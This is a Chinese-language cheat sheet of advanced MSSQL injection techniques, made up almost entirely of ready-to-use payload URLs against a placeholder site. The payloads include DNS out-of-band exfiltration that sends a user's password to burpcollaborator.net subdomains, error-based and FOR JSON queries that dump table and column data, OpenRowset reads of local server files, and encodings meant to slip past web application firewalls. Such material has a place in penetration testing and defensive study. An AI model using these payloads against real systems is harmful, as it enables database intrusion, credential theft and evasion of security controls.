高级的MSSQL注入技巧
字数 856 2025-08-18 11:35:44
高级MSSQL注入技巧详解
1. DNS带外(OOB)数据泄露技术
当遇到禁用堆栈查询的完全盲SQL注入时,可以通过以下函数实现DNS带外数据泄露:
1.1 使用fn_xe_file_target_read_file()
https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
权限要求:需要控制服务器权限
1.2 使用fn_trace_gettable()
https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
权限要求:需要控制服务器权限
2. 替代的基于错误的注入向量
传统基于错误的注入如AND+1=@@version--容易被WAF拦截,可使用以下方法绕过:
2.1 使用字符串连接触发类型转换错误
使用%2b字符将字符串与特定函数调用的结果连接:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
可用的函数包括:
SUSER_NAME()USER_NAME()PERMISSIONS()DB_NAME()FILE_NAME()TYPE_NAME()COL_NAME()
3. 单查询检索整表数据
3.1 使用FOR JSON子句
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
3.2 基于错误的FOR JSON变体
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
注意:基于错误的攻击向量需要别名或名称
4. 读取本地文件
4.1 使用OpenRowset()函数
https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x)),null,null
4.2 基于错误的变体
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
权限要求:需要"ADMINISTER BULK OPERATIONS"或"ADMINISTER DATABASE BULK OPERATIONS"权限
5. 检索当前执行的查询
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
权限说明:
- 拥有VIEW SERVER STATE权限:可查看实例上所有会话
- 无此权限:仅能查看当前会话
6. WAF绕过技巧
6.1 特殊字符替换空格
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
6.2 科学和十六进制表示法
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
6.3 使用句号代替空格
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
6.4 使用\N分隔符
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
总结
这些高级MSSQL注入技巧在SQL Server 2019、2017和2016 SP2上测试有效。关键点包括:
- 多种DNS带外技术适用于不同场景
- 创新的基于错误注入方法绕过传统WAF规则
- 高效的单查询数据检索技术
- 本地文件读取能力
- 多种WAF绕过技巧
注意:许多技术需要特定权限,实际利用时需考虑权限限制。